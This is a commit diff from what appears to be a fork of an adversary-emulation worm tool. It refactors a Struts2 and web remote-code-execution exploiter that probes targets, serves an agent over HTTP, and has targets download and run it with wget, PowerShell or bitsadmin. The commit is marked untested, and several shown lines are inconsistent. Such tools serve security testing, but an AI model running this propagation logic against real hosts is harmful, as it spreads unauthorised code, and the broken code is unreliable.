forked from p34709852/monkey
Almost all notes fixed, but nothing tested.
This commit is contained in:
parent
d1a29872c4
commit
5232d84e06
|
@ -12,7 +12,7 @@ import logging
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
from exploit.tools import get_target_monkey, get_monkey_depth
|
from exploit.tools import get_target_monkey, get_monkey_depth
|
||||||
from tools import build_monkey_commandline, HTTPTools
|
from tools import build_monkey_commandline, HTTPTools
|
||||||
from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \
|
from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \
|
||||||
DROPPER_ARG
|
DROPPER_ARG
|
||||||
|
|
||||||
__author__ = "VakarisZ"
|
__author__ = "VakarisZ"
|
||||||
|
@ -21,6 +21,9 @@ LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
DOWNLOAD_TIMEOUT = 300
|
DOWNLOAD_TIMEOUT = 300
|
||||||
|
|
||||||
|
# Commands used to check if monkeys already exists
|
||||||
|
FIND_FILE = "ls %s"
|
||||||
|
|
||||||
class Struts2Exploiter(HostExploiter):
|
class Struts2Exploiter(HostExploiter):
|
||||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
|
|
||||||
|
@ -56,7 +59,7 @@ class Struts2Exploiter(HostExploiter):
|
||||||
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
|
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
|
||||||
|
|
||||||
def check_remote_file(self, host, path):
|
def check_remote_file(self, host, path):
|
||||||
command = EXISTS % path
|
command = FIND_FILE % path
|
||||||
resp = self.exploit(host, command)
|
resp = self.exploit(host, command)
|
||||||
if 'No such file' in resp:
|
if 'No such file' in resp:
|
||||||
return False
|
return False
|
||||||
|
@ -88,7 +91,7 @@ class Struts2Exploiter(HostExploiter):
|
||||||
|
|
||||||
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
|
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
|
||||||
|
|
||||||
command = WGET_HTTP % {'monkey_path': dropper_path,
|
command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path,
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
|
||||||
self.exploit(url, command)
|
self.exploit(url, command)
|
||||||
|
@ -138,7 +141,7 @@ class Struts2Exploiter(HostExploiter):
|
||||||
# We need to double escape backslashes. Once for payload, twice for command
|
# We need to double escape backslashes. Once for payload, twice for command
|
||||||
cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
|
cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
|
||||||
|
|
||||||
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
|
||||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
||||||
|
@ -159,7 +162,7 @@ class Struts2Exploiter(HostExploiter):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def check_exploit_windows(url):
|
def check_exploit_windows(url):
|
||||||
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
|
resp = Struts2Exploiter.exploit(url, CHECK_COMMAND)
|
||||||
if resp and ID_STRING in resp:
|
if resp and ID_STRING in resp:
|
||||||
if "64-bit" in resp:
|
if "64-bit" in resp:
|
||||||
return "64"
|
return "64"
|
||||||
|
@ -170,7 +173,7 @@ class Struts2Exploiter(HostExploiter):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def check_exploit_linux(url):
|
def check_exploit_linux(url):
|
||||||
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
|
resp = Struts2Exploiter.exploit(url, CHECK_COMMAND)
|
||||||
if resp and ID_STRING in resp:
|
if resp and ID_STRING in resp:
|
||||||
# Pulls architecture string
|
# Pulls architecture string
|
||||||
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
||||||
|
|
|
@ -22,6 +22,7 @@ from network import local_ips
|
||||||
from network.firewall import app as firewall
|
from network.firewall import app as firewall
|
||||||
from network.info import get_free_tcp_port, get_routes
|
from network.info import get_free_tcp_port, get_routes
|
||||||
from transport import HTTPServer, LockedHTTPServer
|
from transport import HTTPServer, LockedHTTPServer
|
||||||
|
from threading import Lock
|
||||||
|
|
||||||
|
|
||||||
class DceRpcException(Exception):
|
class DceRpcException(Exception):
|
||||||
|
@ -387,9 +388,9 @@ class HTTPTools(object):
|
||||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None):
|
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||||
"""
|
"""
|
||||||
Create http server for file transfer with lock
|
Create http server for file transfer with a lock
|
||||||
:param host: Variable with target's information
|
:param host: Variable with target's information
|
||||||
:param src_path: Monkey's path on current system
|
:param src_path: Monkey's path on current system
|
||||||
:param lock: Instance of lock
|
:param lock: Instance of lock
|
||||||
|
@ -397,6 +398,9 @@ class HTTPTools(object):
|
||||||
:param local_port:
|
:param local_port:
|
||||||
:return:
|
:return:
|
||||||
"""
|
"""
|
||||||
|
# To avoid race conditions we pass a locked lock to http servers thread
|
||||||
|
lock = Lock()
|
||||||
|
lock.acquire()
|
||||||
if not local_port:
|
if not local_port:
|
||||||
local_port = get_free_tcp_port()
|
local_port = get_free_tcp_port()
|
||||||
|
|
||||||
|
@ -407,9 +411,10 @@ class HTTPTools(object):
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||||
|
|
||||||
httpd.daemon = True
|
httpd.daemon = True
|
||||||
httpd.start()
|
httpd.start()
|
||||||
|
lock.acquire()
|
||||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||||
|
|
||||||
|
|
||||||
|
@ -507,3 +512,30 @@ def get_binaries_dir_path():
|
||||||
def get_monkey_depth():
|
def get_monkey_depth():
|
||||||
from config import WormConfiguration
|
from config import WormConfiguration
|
||||||
return WormConfiguration.depth
|
return WormConfiguration.depth
|
||||||
|
|
||||||
|
|
||||||
|
def get_monkey_dest_path(src_path):
|
||||||
|
"""
|
||||||
|
Gets destination path from source path.
|
||||||
|
:param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe
|
||||||
|
:return: Corresponding monkey path from configuration
|
||||||
|
"""
|
||||||
|
from config import WormConfiguration
|
||||||
|
if not src_path or ('linux' not in src_path and 'windows' not in src_path):
|
||||||
|
LOG.error("Can't get destination path because source path %s is invalid.", src_path)
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
if 'linux' in src_path:
|
||||||
|
return WormConfiguration.dropper_target_path_linux
|
||||||
|
elif 'windows-32' in src_path:
|
||||||
|
return WormConfiguration.dropper_target_path_win_32
|
||||||
|
elif 'windows-64' in src_path:
|
||||||
|
return WormConfiguration.dropper_target_path_win_64
|
||||||
|
else:
|
||||||
|
LOG.error("Could not figure out what type of monkey server was trying to upload, "
|
||||||
|
"thus destination path can not be chosen.")
|
||||||
|
return False
|
||||||
|
except AttributeError:
|
||||||
|
LOG.error("Seems like monkey's source configuration property names changed. "
|
||||||
|
"Can not get destination path to upload monkey")
|
||||||
|
return False
|
||||||
|
|
|
@ -6,12 +6,14 @@ from model import *
|
||||||
from posixpath import join
|
from posixpath import join
|
||||||
import re
|
import re
|
||||||
from abc import abstractmethod
|
from abc import abstractmethod
|
||||||
from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
|
from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools, get_monkey_dest_path
|
||||||
from network.tools import check_tcp_port, tcp_port_to_service
|
from network.tools import check_tcp_port, tcp_port_to_service
|
||||||
|
|
||||||
__author__ = 'VakarisZ'
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
# Commands used to check if monkeys already exists
|
||||||
|
LOOK_FOR_FILE = "ls %s"
|
||||||
|
|
||||||
|
|
||||||
class WebRCE(HostExploiter):
|
class WebRCE(HostExploiter):
|
||||||
|
@ -101,12 +103,11 @@ class WebRCE(HostExploiter):
|
||||||
"""
|
"""
|
||||||
url_list = []
|
url_list = []
|
||||||
if extensions:
|
if extensions:
|
||||||
for idx, extension in enumerate(extensions):
|
extensions = [(e[1:] if '/' == e[0] else e) for e in extensions]
|
||||||
if '/' in extension[0]:
|
|
||||||
extensions[idx] = extension[1:]
|
|
||||||
else:
|
else:
|
||||||
extensions = [""]
|
extensions = [""]
|
||||||
for port in ports:
|
for port in ports:
|
||||||
|
extensions = [(e[1:] if '/' == e[0] else e) for e in extensions]
|
||||||
for extension in extensions:
|
for extension in extensions:
|
||||||
if port[1]:
|
if port[1]:
|
||||||
protocol = "https"
|
protocol = "https"
|
||||||
|
@ -126,6 +127,7 @@ class WebRCE(HostExploiter):
|
||||||
resp = self.exploit(url, ARCH_LINUX)
|
resp = self.exploit(url, ARCH_LINUX)
|
||||||
if resp:
|
if resp:
|
||||||
# Pulls architecture string
|
# Pulls architecture string
|
||||||
|
# TODO TEST IF NOT FOUND
|
||||||
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
||||||
arch = arch.group(1)
|
arch = arch.group(1)
|
||||||
if arch:
|
if arch:
|
||||||
|
@ -145,8 +147,8 @@ class WebRCE(HostExploiter):
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def check_remote_file(self, url, path):
|
def check_remote_monkey_file(self, url, path):
|
||||||
command = EXISTS % path
|
command = LOOK_FOR_FILE % path
|
||||||
resp = self.exploit(url, command)
|
resp = self.exploit(url, command)
|
||||||
if 'No such file' in resp:
|
if 'No such file' in resp:
|
||||||
return False
|
return False
|
||||||
|
@ -163,36 +165,20 @@ class WebRCE(HostExploiter):
|
||||||
if 'linux' in self.host.os['type']:
|
if 'linux' in self.host.os['type']:
|
||||||
paths.append(self._config.dropper_target_path_linux)
|
paths.append(self._config.dropper_target_path_linux)
|
||||||
else:
|
else:
|
||||||
paths.append(self._config.dropper_target_path_win_32)
|
paths.extend([self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_64])
|
||||||
paths.append(self._config.dropper_target_path_win_64)
|
|
||||||
for path in paths:
|
for path in paths:
|
||||||
if self.check_remote_file(url, path):
|
if self.check_remote_file(url, path):
|
||||||
return True
|
return True
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def get_monkey_dest_path(self, src_path):
|
|
||||||
"""
|
|
||||||
Gets destination path from source path.
|
|
||||||
:param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe
|
|
||||||
:return: Corresponding monkey path from configuration
|
|
||||||
"""
|
|
||||||
if not src_path or ('linux' not in src_path and 'windows' not in src_path):
|
|
||||||
LOG.error("Can't get destination path because source path %s is invalid.", src_path)
|
|
||||||
return False
|
|
||||||
try:
|
|
||||||
if 'linux' in src_path:
|
|
||||||
return self._config.dropper_target_path_linux
|
|
||||||
elif "windows-32" in src_path:
|
|
||||||
return self._config.dropper_target_path_win_32
|
|
||||||
else:
|
|
||||||
return self._config.dropper_target_path_win_64
|
|
||||||
except AttributeError:
|
|
||||||
LOG.error("Seems like configuration properties names changed. "
|
|
||||||
"Can not get destination path to upload monkey")
|
|
||||||
return False
|
|
||||||
|
|
||||||
# Wrapped functions:
|
# Wrapped functions:
|
||||||
def get_ports_w(self, ports, names):
|
def get_ports_w(self, ports, names):
|
||||||
|
"""
|
||||||
|
Get ports wrapped with log
|
||||||
|
:param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS
|
||||||
|
:param names: [] of service names. Example: ["http"]
|
||||||
|
:return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?]
|
||||||
|
"""
|
||||||
ports = WebRCE.get_open_service_ports(self.host, ports, names)
|
ports = WebRCE.get_open_service_ports(self.host, ports, names)
|
||||||
if not ports:
|
if not ports:
|
||||||
LOG.info("All default web ports are closed on %r, skipping", host)
|
LOG.info("All default web ports are closed on %r, skipping", host)
|
||||||
|
@ -223,15 +209,11 @@ class WebRCE(HostExploiter):
|
||||||
return False
|
return False
|
||||||
# Determine which destination path to use
|
# Determine which destination path to use
|
||||||
LOG.debug("Monkey path found")
|
LOG.debug("Monkey path found")
|
||||||
lock = Lock()
|
path = get_monkey_dest_path(src_path)
|
||||||
path = WebRCE.get_monkey_dest_path(self._config, src_path)
|
|
||||||
if not path:
|
if not path:
|
||||||
return False
|
return False
|
||||||
# To avoid race conditions we pass a locked lock to http servers thread
|
|
||||||
lock.acquire()
|
|
||||||
# Create server for http download and wait for it's startup.
|
# Create server for http download and wait for it's startup.
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, lock)
|
http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path)
|
||||||
lock.acquire()
|
|
||||||
if not http_path:
|
if not http_path:
|
||||||
LOG.debug("Exploiter failed, http transfer creation failed.")
|
LOG.debug("Exploiter failed, http transfer creation failed.")
|
||||||
return False
|
return False
|
||||||
|
@ -252,7 +234,6 @@ class WebRCE(HostExploiter):
|
||||||
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
|
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
|
||||||
resp = self.exploit(url, backup_command)
|
resp = self.exploit(url, backup_command)
|
||||||
lock.release()
|
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
http_thread.stop()
|
http_thread.stop()
|
||||||
LOG.info("Uploading process finished")
|
LOG.info("Uploading process finished")
|
||||||
|
|
|
@ -29,7 +29,4 @@ CHECK_COMMAND = "echo %s" % ID_STRING
|
||||||
ARCH_WINDOWS = "wmic os get osarchitecture"
|
ARCH_WINDOWS = "wmic os get osarchitecture"
|
||||||
ARCH_LINUX = "lscpu"
|
ARCH_LINUX = "lscpu"
|
||||||
|
|
||||||
# Commands used to check if monkeys already exists
|
|
||||||
EXISTS = "ls %s"
|
|
||||||
|
|
||||||
DOWNLOAD_TIMEOUT = 300
|
DOWNLOAD_TIMEOUT = 300
|
Loading…
Reference in New Issue